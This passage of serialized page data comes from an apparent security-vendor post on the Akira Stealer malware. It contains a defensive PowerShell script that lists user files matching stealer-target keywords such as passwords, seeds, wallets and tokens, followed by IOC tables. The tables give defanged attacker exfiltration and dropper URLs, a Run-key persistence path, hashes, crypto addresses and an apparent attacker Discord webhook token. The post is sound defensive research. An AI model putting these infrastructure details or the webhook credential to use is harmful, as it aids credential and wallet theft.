-notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[578,11521,11522,11527,11532,11537,11541,11546,11551,11556,11561,11566,11571,11575,11580,11585,11590,11594,11599,11604,11608,11613,11618,11623,11628,11633,11637,11642,11647,11652,11656,11660,11665,11669,11674,11678,11683,11688,11693,11698,11703,11708,11713,11717,11722,11727,11732,11737,11742,11747,11752,11757,11762,11766,11771,11776,11780,11785,11790,11795,11800,11805,11810,11815,11820,11824,11828,11832,11837,11841,11846,11851,11856,11860,11865,11870,11875,11880,11885,11890,11895,11901,11906,11912,11917,11923,11929,11934,11939,11945],{"__ignoreMap":529},[1704,11523,11524],{"class":1706,"line":1707},[1704,11525,11526],{},"\u003C#\n",[1704,11528,11529],{"class":1706,"line":530},[1704,11530,11531],{},".SYNOPSIS\n",[1704,11533,11534],{"class":1706,"line":2088},[1704,11535,11536],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1704,11538,11539],{"class":1706,"line":2094},[1704,11540,3873],{"emptyLinePlaceholder":325},[1704,11542,11543],{"class":1706,"line":2415},[1704,11544,11545],{},".DESCRIPTION\n",[1704,11547,11548],{"class":1706,"line":2421},[1704,11549,11550],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1704,11552,11553],{"class":1706,"line":3080},[1704,11554,11555],{},"      • Contain one of the defined keywords in their name\n",[1704,11557,11558],{"class":1706,"line":3876},[1704,11559,11560],{},"      • Have an allowed file extension\n",[1704,11562,11563],{"class":1706,"line":3882},[1704,11564,11565],{},"      • Are not larger than 2 MB\n",[1704,11567,11568],{"class":1706,"line":4128},[1704,11569,11570],{},"    Presents the results in a colored, tabular overview.\n",[1704,11572,11573],{"class":1706,"line":5046},[1704,11574,3873],{"emptyLinePlaceholder":325},[1704,11576,11577],{"class":1706,"line":5052},[1704,11578,11579],{},".NOTES\n",[1704,11581,11582],{"class":1706,"line":5058},[1704,11583,11584],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1704,11586,11587],{"class":1706,"line":5064},[1704,11588,11589],{},"#>\n",[1704,11591,11592],{"class":1706,"line":5070},[1704,11593,3873],{"emptyLinePlaceholder":325},[1704,11595,11596],{"class":1706,"line":5076},[1704,11597,11598],{},"# -------------------------------------\n",[1704,11600,11601],{"class":1706,"line":5082},[1704,11602,11603],{},"# 1. Configuration\n",[1704,11605,11606],{"class":1706,"line":5088},[1704,11607,11598],{},[1704,11609,11610],{"class":1706,"line":5094},[1704,11611,11612],{},"$scanFolders = @(\n",[1704,11614,11615],{"class":1706,"line":5100},[1704,11616,11617],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1704,11619,11620],{"class":1706,"line":5106},[1704,11621,11622],{},"    \"$env:USERPROFILE\\Documents\",\n",[1704,11624,11625],{"class":1706,"line":5112},[1704,11626,11627],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1704,11629,11630],{"class":1706,"line":5118},[1704,11631,11632],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1704,11634,11635],{"class":1706,"line":5124},[1704,11636,5265],{},[1704,11638,11639],{"class":1706,"line":5130},[1704,11640,11641],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1704,11643,11644],{"class":1706,"line":5797},[1704,11645,11646],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1704,11648,11649],{"class":1706,"line":5802},[1704,11650,11651],{},"$maxSize    = 2MB\n",[1704,11653,11654],{"class":1706,"line":5807},[1704,11655,3873],{"emptyLinePlaceholder":325},[1704,11657,11658],{"class":1706,"line":5812},[1704,11659,11598],{},[1704,11661,11662],{"class":1706,"line":5818},[1704,11663,11664],{},"# 2. Scan and Collect Matches\n",[1704,11666,11667],{"class":1706,"line":5823},[1704,11668,11598],{},[1704,11670,11671],{"class":1706,"line":5828},[1704,11672,11673],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1704,11675,11676],{"class":1706,"line":5833},[1704,11677,3873],{"emptyLinePlaceholder":325},[1704,11679,11680],{"class":1706,"line":5838},[1704,11681,11682],{},"foreach ($folder in $scanFolders) {\n",[1704,11684,11685],{"class":1706,"line":5843},[1704,11686,11687],{},"    if (-not (Test-Path $folder)) { continue }\n",[1704,11689,11690],{"class":1706,"line":5848},[1704,11691,11692],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1704,11694,11695],{"class":1706,"line":5854},[1704,11696,11697],{},"        # 2.1 Extension filter\n",[1704,11699,11700],{"class":1706,"line":5860},[1704,11701,11702],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1704,11704,11705],{"class":1706,"line":5866},[1704,11706,11707],{},"        # 2.2 Size filter\n",[1704,11709,11710],{"class":1706,"line":5871},[1704,11711,11712],{},"        if ($_.Length -gt $maxSize) { return }\n",[1704,11714,11715],{"class":1706,"line":5876},[1704,11716,3873],{"emptyLinePlaceholder":325},[1704,11718,11719],{"class":1706,"line":5881},[1704,11720,11721],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1704,11723,11724],{"class":1706,"line":5886},[1704,11725,11726],{},"        $hit = $null\n",[1704,11728,11729],{"class":1706,"line":5892},[1704,11730,11731],{},"        foreach ($kw in $keywords) {\n",[1704,11733,11734],{"class":1706,"line":5897},[1704,11735,11736],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1704,11738,11739],{"class":1706,"line":5902},[1704,11740,11741],{},"                $hit = $kw\n",[1704,11743,11744],{"class":1706,"line":5907},[1704,11745,11746],{},"                break\n",[1704,11748,11749],{"class":1706,"line":5912},[1704,11750,11751],{},"            }\n",[1704,11753,11754],{"class":1706,"line":5917},[1704,11755,11756],{},"        }\n",[1704,11758,11759],{"class":1706,"line":5922},[1704,11760,11761],{},"        if (-not $hit) { return }\n",[1704,11763,11764],{"class":1706,"line":5928},[1704,11765,3873],{"emptyLinePlaceholder":325},[1704,11767,11768],{"class":1706,"line":5934},[1704,11769,11770],{},"        # 2.4 Build relative path\n",[1704,11772,11773],{"class":1706,"line":5940},[1704,11774,11775],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1704,11777,11778],{"class":1706,"line":5946},[1704,11779,3873],{"emptyLinePlaceholder":325},[1704,11781,11782],{"class":1706,"line":5951},[1704,11783,11784],{},"        # 2.5 Collect\n",[1704,11786,11787],{"class":1706,"line":5956},[1704,11788,11789],{},"        $matches.Add([PSCustomObject]@{\n",[1704,11791,11792],{"class":1706,"line":5962},[1704,11793,11794],{},"            FileName    = $_.Name\n",[1704,11796,11797],{"class":1706,"line":5968},[1704,11798,11799],{},"            Location    = $rel\n",[1704,11801,11802],{"class":1706,"line":5974},[1704,11803,11804],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1704,11806,11807],{"class":1706,"line":5980},[1704,11808,11809],{},"            Keyword     = $hit\n",[1704,11811,11812],{"class":1706,"line":5985},[1704,11813,11814],{},"        })\n",[1704,11816,11817],{"class":1706,"line":5990},[1704,11818,11819],{},"    }\n",[1704,11821,11822],{"class":1706,"line":5996},[1704,11823,2424],{},[1704,11825,11826],{"class":1706,"line":6001},[1704,11827,3873],{"emptyLinePlaceholder":325},[1704,11829,11830],{"class":1706,"line":6006},[1704,11831,11598],{},[1704,11833,11834],{"class":1706,"line":6012},[1704,11835,11836],{},"# 3. Display Results\n",[1704,11838,11839],{"class":1706,"line":6018},[1704,11840,11598],{},[1704,11842,11843],{"class":1706,"line":6024},[1704,11844,11845],{},"clear\n",[1704,11847,11848],{"class":1706,"line":6029},[1704,11849,11850],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1704,11852,11853],{"class":1706,"line":6035},[1704,11854,11855],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1704,11857,11858],{"class":1706,"line":6041},[1704,11859,3873],{"emptyLinePlaceholder":325},[1704,11861,11862],{"class":1706,"line":6046},[1704,11863,11864],{},"if ($matches.Count -gt 0) {\n",[1704,11866,11867],{"class":1706,"line":6052},[1704,11868,11869],{},"    $matches |\n",[1704,11871,11872],{"class":1706,"line":6058},[1704,11873,11874],{},"        Sort-Object Location, FileName |\n",[1704,11876,11877],{"class":1706,"line":6063},[1704,11878,11879],{},"        Format-Table -AutoSize `\n",[1704,11881,11882],{"class":1706,"line":6068},[1704,11883,11884],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1704,11886,11887],{"class":1706,"line":6073},[1704,11888,11889],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1704,11891,11892],{"class":1706,"line":6079},[1704,11893,11894],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1704,11896,11898],{"class":1706,"line":11897},79,[1704,11899,11900],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1704,11902,11904],{"class":1706,"line":11903},80,[1704,11905,3873],{"emptyLinePlaceholder":325},[1704,11907,11909],{"class":1706,"line":11908},81,[1704,11910,11911],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1704,11913,11915],{"class":1706,"line":11914},82,[1704,11916,2424],{},[1704,11918,11920],{"class":1706,"line":11919},83,[1704,11921,11922],{},"else {\n",[1704,11924,11926],{"class":1706,"line":11925},84,[1704,11927,11928],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1704,11930,11932],{"class":1706,"line":11931},85,[1704,11933,2424],{},[1704,11935,11937],{"class":1706,"line":11936},86,[1704,11938,3873],{"emptyLinePlaceholder":325},[1704,11940,11942],{"class":1706,"line":11941},87,[1704,11943,11944],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1704,11946,11948],{"class":1706,"line":11947},88,[1704,11949,11950],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[852,11952],{"className":11953},[855,856],[556,11955,11957],{"id":11956},"_12-oltre-la-risposta-come-il-glueckkanja-csoc-trasforma-gli-incidenti-in-insight","12. Oltre la risposta – come il glueckkanja CSOC trasforma gli incidenti in insight",[525,11959,562],{},[525,11961,11962,11963],{},"La maggior parte dei security operations center si ferma al contenimento.\n",[567,11964,11965],{},"Noi no.",[525,11967,11968],{},"Nel glueckkanja CSOC siamo convinti che l'incident response non sia il traguardo, ma il punto di partenza.",[525,11970,11971],{},"Quando gli altri cantano vittoria e passano al caso successivo, noi scaviamo più a fondo. Per noi ogni incidente è un'occasione per imparare, adattarci e diventare più forti. La nostra curiosità incessante, alimentata da anni di competenza forense approfondita e di capacità di reverse engineering, ci permette non solo di difendere, ma di anticipare.",[525,11973,11974,11975,613],{},"È per questa filosofia che abbiamo costruito l'",[567,11976,11977],{},"Akira Compromise Reporter",[525,11979,11980],{},"Molto oltre il semplice rilevamento, questo strumento forense sviluppato internamente sfrutta la nostra conoscenza intima di Akira Stealer per dare chiarezza assoluta su quali dati siano stati compromessi. In pochi minuti produce un'istantanea precisa e operativa dell'impatto complessivo dell'incidente:",[630,11982,11983,11986,11989],{},[633,11984,11985],{},"Esattamente quali credenziali, token e sessioni del browser sono stati rubati.",[633,11987,11988],{},"Con precisione quali wallet di criptovalute, account di messaggistica e file sono stati esposti.",[633,11990,11991],{},"Un report forense chiaro, strutturato e dettagliato, che trasforma l'incertezza in azione immediata e informata.",[525,11993,11994],{},[774,11995],{"alt":11996,"src":11997},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[525,11999,12000],{},"Perché in glueckkanja misuriamo il nostro successo non solo dalle minacce bloccate, ma dalla chiarezza che offriamo. La cybersecurity fatta bene non consiste nel reagire agli incidenti, consiste nel capire, adattarsi e restare sempre un passo avanti.",[525,12002,12003],{},[567,12004,12005],{},"Questa è la differenza del glueckkanja CSOC.",[556,12007,12009],{"id":12008},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[525,12011,562],{},[525,12013,12014],{},"Qui sotto trovi una raccolta completa e letterale degli IOC estratti direttamente dal codice del malware durante il nostro processo interno di reverse engineering nel glueckkanja CSOC. Non abbiamo usato supposizioni né fonti esterne di threat intel, tutti gli indicatori sono riscontri confermati. Tutti gli URL sono offuscati deliberatamente, per evitare clic accidentali.",[525,12016,12017],{},[567,12018,12019],{},"Abbreviazioni:",[630,12021,12022,12028],{},[633,12023,12024,12027],{},[567,12025,12026],{},"TG:"," canale di segnalazione Telegram",[633,12029,12030,12033],{},[567,12031,12032],{},"Alt:"," endpoint alternativo (di fallback)",[740,12035,12037],{"id":12036},"_1-domini-e-url","1. Domini e URL",[525,12039,746],{},[1417,12041,4703,12043],{"className":12042,"style":11117},[11116],[1433,12044,12045,4703,12057,4703,12070,4703,12083,4703,12096,4703,12109,4703,12122,4703,12135,4703,12150,4703,12166,4703,12179,4703,12192,4703,12205,4703,12218,4703,12231,4703,12244,4703,12257,4703,12270,4703,12283,4703,12296,4703,12310,4703,12323],{},[1423,12046,4708,12047,4708,12051,4708,12055,4703],{},[1426,12048,12050],{"style":12049},"text-align: left; width: 18%;","Categoria",[1426,12052,12054],{"style":12053},"text-align: left; width: 52%;","URL offuscato",[1426,12056,4876],{},[1423,12058,4708,12059,4708,12062,4708,12067,4703],{},[1438,12060,12061],{},"Injection primaria",[1438,12063,12064],{},[578,12065,12066],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1438,12068,12069],{},"Endpoint webhook iniziale dell'attaccante",[1423,12071,4708,12072,4708,12075,4708,12080,4703],{},[1438,12073,12074],{},"Injection di fallback",[1438,12076,12077],{},[578,12078,12079],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1438,12081,12082],{},"Endpoint injector alternativo",[1423,12084,4708,12085,4708,12088,4708,12093,4703],{},[1438,12086,12087],{},"Segnalazione errori (TG)",[1438,12089,12090],{},[578,12091,12092],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1438,12094,12095],{},"URL di segnalazione errori e log su Telegram",[1423,12097,4708,12098,4708,12101,4708,12106,4703],{},[1438,12099,12100],{},"Segnalazione errori (Alt)",[1438,12102,12103],{},[578,12104,12105],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1438,12107,12108],{},"URL alternativo di segnalazione errori e log",[1423,12110,4708,12111,4708,12114,4708,12119,4703],{},[1438,12112,12113],{},"Vanity bot (TG)",[1438,12115,12116],{},[578,12117,12118],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1438,12120,12121],{},"Endpoint di notifica degli indirizzi vanity",[1423,12123,4708,12124,4708,12127,4708,12132,4703],{},[1438,12125,12126],{},"Vanity bot (Alt)",[1438,12128,12129],{},[578,12130,12131],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1438,12133,12134],{},"Endpoint alternativo di notifica vanity",[1423,12136,4708,12137,4708,12140,4708,12145,4703],{},[1438,12138,12139],{},"Injection Exodus",[1438,12141,12142],{},[578,12143,12144],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1438,12146,12147,12148],{},"Modulo Electron dell'app ",[578,12149,4607],{},[1423,12151,4708,12152,4708,12155,4708,12160,4703],{},[1438,12153,12154],{},"Injection Atomic",[1438,12156,12157],{},[578,12158,12159],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1438,12161,12162,12163],{},"Modulo Electron ",[578,12164,12165],{},"AtomicWallet",[1423,12167,4708,12168,4708,12171,4708,12176,4703],{},[1438,12169,12170],{},"Download di Updater",[1438,12172,12173],{},[578,12174,12175],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1438,12177,12178],{},"Eseguibile dropper per la persistenza",[1423,12180,4708,12181,4708,12184,4708,12189,4703],{},[1438,12182,12183],{},"Elenco API Gofile",[1438,12185,12186],{},[578,12187,12188],{},"https[:]//api.gofile[.]io/servers",[1438,12190,12191],{},"Recupera il miglior server di upload GoFile",[1423,12193,4708,12194,4708,12197,4708,12202,4703],{},[1438,12195,12196],{},"Verifica token Discord",[1438,12198,12199],{},[578,12200,12201],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1438,12203,12204],{},"Valida il token Discord rubato",[1423,12206,4708,12207,4708,12210,4708,12215,4703],{},[1438,12208,12209],{},"Dati di fatturazione Discord",[1438,12211,12212],{},[578,12213,12214],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1438,12216,12217],{},"Recupera i metodi di pagamento",[1423,12219,4708,12220,4708,12223,4708,12228,4703],{},[1438,12221,12222],{},"Replay OAuth Google",[1438,12224,12225],{},[578,12226,12227],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1438,12229,12230],{},"Riproduce i token di sessione Google rubati",[1423,12232,4708,12233,4708,12236,4708,12241,4703],{},[1438,12234,12235],{},"Controllo IP (hosting)",[1438,12237,12238],{},[578,12239,12240],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1438,12242,12243],{},"Rilevamento dell'ambiente di hosting",[1423,12245,4708,12246,4708,12249,4708,12254,4703],{},[1438,12247,12248],{},"Lookup IP (geo)",[1438,12250,12251],{},[578,12252,12253],{},"http[:]//ip-api[.]com/json/{ip}",[1438,12255,12256],{},"Geolocalizzazione tramite IP",[1423,12258,4708,12259,4708,12262,4708,12267,4703],{},[1438,12260,12261],{},"Recupero IP pubblico",[1438,12263,12264],{},[578,12265,12266],{},"https[:]//api[.]ipify[.]org",[1438,12268,12269],{},"Preleva l'indirizzo IP esterno",[1423,12271,4708,12272,4708,12275,4708,12280,4703],{},[1438,12273,12274],{},"Upload su File.io",[1438,12276,12277],{},[578,12278,12279],{},"https[:]//file[.]io/",[1438,12281,12282],{},"Canale di esfiltrazione secondario",[1423,12284,4708,12285,4708,12288,4708,12293,4703],{},[1438,12286,12287],{},"Upload su Oshi.at",[1438,12289,12290],{},[578,12291,12292],{},"http[:]//oshi[.]at/",[1438,12294,12295],{},"Canale di esfiltrazione terziario",[1423,12297,4708,12298,4708,12301,4708,12307,4703],{},[1438,12299,12300],{},"Dropper JS primario",[1438,12302,12303],{},[719,12304,12306],{"href":12305,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1438,12308,12309],{},"Riferimento remoto all'URL reale dello ZIP",[1423,12311,4708,12312,4708,12315,4708,12320,4703],{},[1438,12313,12314],{},"Dropper JS fallback 1",[1438,12316,12317],{},[719,12318,12319],{"href":3620,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1438,12321,12322],{},"ZIP di payload alternativo",[1423,12324,4708,12325,4708,12328,4708,12333,4703],{},[1438,12326,12327],{},"Dropper JS fallback 2",[1438,12329,12330],{},[719,12331,12332],{"href":3625,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1438,12334,12335],{},"ZIP di payload di fallback secondario",[852,12337],{"className":12338},[855,856],[740,12340,12342],{"id":12341},"_2-indirizzi-di-criptovaluta","2. Indirizzi di criptovaluta",[525,12344,746],{},[1417,12346,4703,12348],{"className":12347,"style":11117},[11116],[1433,12349,12350,4703,12358,4703,12368,4703,12378,4703,12388,4703,12397,4703,12407,4703,12417,4703,12427,4703,12437,4703,12447],{},[1423,12351,4708,12352,4708,12355,4703],{},[1426,12353,12354],{"style":11128},"Valuta",[1426,12356,12357],{},"Indirizzo",[1423,12359,4708,12360,4708,12363,4703],{},[1438,12361,12362],{},"BTC",[1438,12364,12365],{},[578,12366,12367],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1423,12369,4708,12370,4708,12373,4703],{},[1438,12371,12372],{},"ETH",[1438,12374,12375],{},[578,12376,12377],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1423,12379,4708,12380,4708,12383,4703],{},[1438,12381,12382],{},"DOGE",[1438,12384,12385],{},[578,12386,12387],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1423,12389,4708,12390,4708,12393,4703],{},[1438,12391,12392],{},"LTC",[1438,12394,12395],{},[578,12396,11159],{},[1423,12398,4708,12399,4708,12402,4703],{},[1438,12400,12401],{},"XMR",[1438,12403,12404],{},[578,12405,12406],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1423,12408,4708,12409,4708,12412,4703],{},[1438,12410,12411],{},"BCH",[1438,12413,12414],{},[578,12415,12416],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1423,12418,4708,12419,4708,12422,4703],{},[1438,12420,12421],{},"DASH",[1438,12423,12424],{},[578,12425,12426],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1423,12428,4708,12429,4708,12432,4703],{},[1438,12430,12431],{},"TRX",[1438,12433,12434],{},[578,12435,12436],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1423,12438,4708,12439,4708,12442,4703],{},[1438,12440,12441],{},"XRP",[1438,12443,12444],{},[578,12445,12446],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1423,12448,4708,12449,4708,12452,4703],{},[1438,12450,12451],{},"XLM",[1438,12453,12454],{},[578,12455,12456],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[852,12458],{"className":12459},[855,856],[740,12461,12463],{"id":12462},"_3-chiavi-e-percorsi-di-registro","3. Chiavi e percorsi di registro",[525,12465,746],{},[1417,12467,4703,12469],{"className":12468,"style":11117},[11116],[1433,12470,12471,4703,12478,4703,12488,4703,12498,4703,12511],{},[1423,12472,4708,12473,4708,12476,4703],{},[1426,12474,1673],{"style":12475},"text-align: left; width: 60%;",[1426,12477,1210],{},[1423,12479,4708,12480,4708,12485,4703],{},[1438,12481,12482],{},[578,12483,12484],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1438,12486,12487],{},"Verifica la firma di un driver GPU virtuale",[1423,12489,4708,12490,4708,12495,4703],{},[1438,12491,12492],{},[578,12493,12494],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1438,12496,12497],{},"Verifica il nome del provider di una GPU virtuale",[1423,12499,4708,12500,4708,12508,4703],{},[1438,12501,12502,12505,12506,1138],{},[578,12503,12504],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (valore ",[567,12507,1684],{},[1438,12509,12510],{},"Persistenza tramite chiave Run (Updater.exe)",[1423,12512,4708,12513,4708,12517,4703],{},[1438,12514,12515],{},[578,12516,1692],{},[1438,12518,12519],{},"Eseguibile di persistenza",[852,12521],{"className":12522},[855,856],[740,12524,12526],{"id":12525},"_5-file-e-hash","5. File e hash",[525,12528,746],{},[1417,12530,4703,12532],{"className":12531,"style":11117},[11116],[1433,12533,12534,4703,12546,4703,12558,4703,12570,4703,12583,4703,12595,4703,12607,4703,12619,4703,12631,4703,12644,4703,12656,4703,12669,4703,12681],{},[1423,12535,4708,12536,4708,12539,4708,12543,4703],{},[1426,12537,12538],{"style":12049},"Nome del file",[1426,12540,12542],{"style":12541},"text-align: left; width: 62%;","SHA256",[1426,12544,12545],{},"Dimensione (byte)",[1423,12547,4708,12548,4708,12550,4708,12555,4703],{},[1438,12549,1845],{},[1438,12551,12552],{},[578,12553,12554],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1438,12556,12557],{},"63936274",[1423,12559,4708,12560,4708,12562,4708,12567,4703],{},[1438,12561,605],{},[1438,12563,12564],{},[578,12565,12566],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1438,12568,12569],{},"162036224",[1423,12571,4708,12572,4708,12575,4708,12580,4703],{},[1438,12573,12574],{},"jscrypter.js",[1438,12576,12577],{},[578,12578,12579],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1438,12581,12582],{},"1429",[1423,12584,4708,12585,4708,12587,4708,12592,4703],{},[1438,12586,2836],{},[1438,12588,12589],{},[578,12590,12591],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1438,12593,12594],{},"30138",[1423,12596,4708,12597,4708,12599,4708,12604,4703],{},[1438,12598,2833],{},[1438,12600,12601],{},[578,12602,12603],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1438,12605,12606],{},"7155",[1423,12608,4708,12609,4708,12611,4708,12616,4703],{},[1438,12610,2760],{},[1438,12612,12613],{},[578,12614,12615],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1438,12617,12618],{},"211",[1423,12620,4708,12621,4708,12623,4708,12628,4703],{},[1438,12622,609],{},[1438,12624,12625],{},[578,12626,12627],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1438,12629,12630],{},"205210",[1423,12632,4708,12633,4708,12636,4708,12641,4703],{},[1438,12634,12635],{},"exodus.asar",[1438,12637,12638],{},[578,12639,12640],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1438,12642,12643],{},"132486332",[1423,12645,4708,12646,4708,12648,4708,12653,4703],{},[1438,12647,1904],{},[1438,12649,12650],{},[578,12651,12652],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1438,12654,12655],{},"28454",[1423,12657,4708,12658,4708,12661,4708,12666,4703],{},[1438,12659,12660],{},"download.dat",[1438,12662,12663],{},[578,12664,12665],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1438,12667,12668],{},"21142",[1423,12670,4708,12671,4708,12673,4708,12678,4703],{},[1438,12672,2894],{},[1438,12674,12675],{},[578,12676,12677],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1438,12679,12680],{},"32375391",[1423,12682,4708,12683,4708,12685,4708,12690,4703],{},[1438,12684,601],{},[1438,12686,12687],{},[578,12688,12689],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1438,12691,12692],{},"37652937",[852,12694],{"className":12695},[855,856],[740,12697,12699],{"id":12698},"_5-identificativi-discord-e-telegram","5. Identificativi Discord e Telegram",[525,12701,746],{},[1417,12703,4703,12705],{"className":12704,"style":11117},[11116],[1433,12706,12707,4703,12714,4703,12724,4703,12734],{},[1423,12708,4708,12709,4708,12711,4703],{},[1426,12710,12050],{"style":6322},[1426,12712,12713],{},"Valore",[1423,12715,4708,12716,4708,12719,4703],{},[1438,12717,12718],{},"ID webhook Discord",[1438,12720,12721],{},[578,12722,12723],{},"1226766972675428372",[1423,12725,4708,12726,4708,12729,4703],{},[1438,12727,12728],{},"Token webhook Discord",[1438,12730,12731],{},[578,12732,12733],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1423,12735,4708,12736,4708,12739,4703],{},[1438,12737,12738],{},"ID 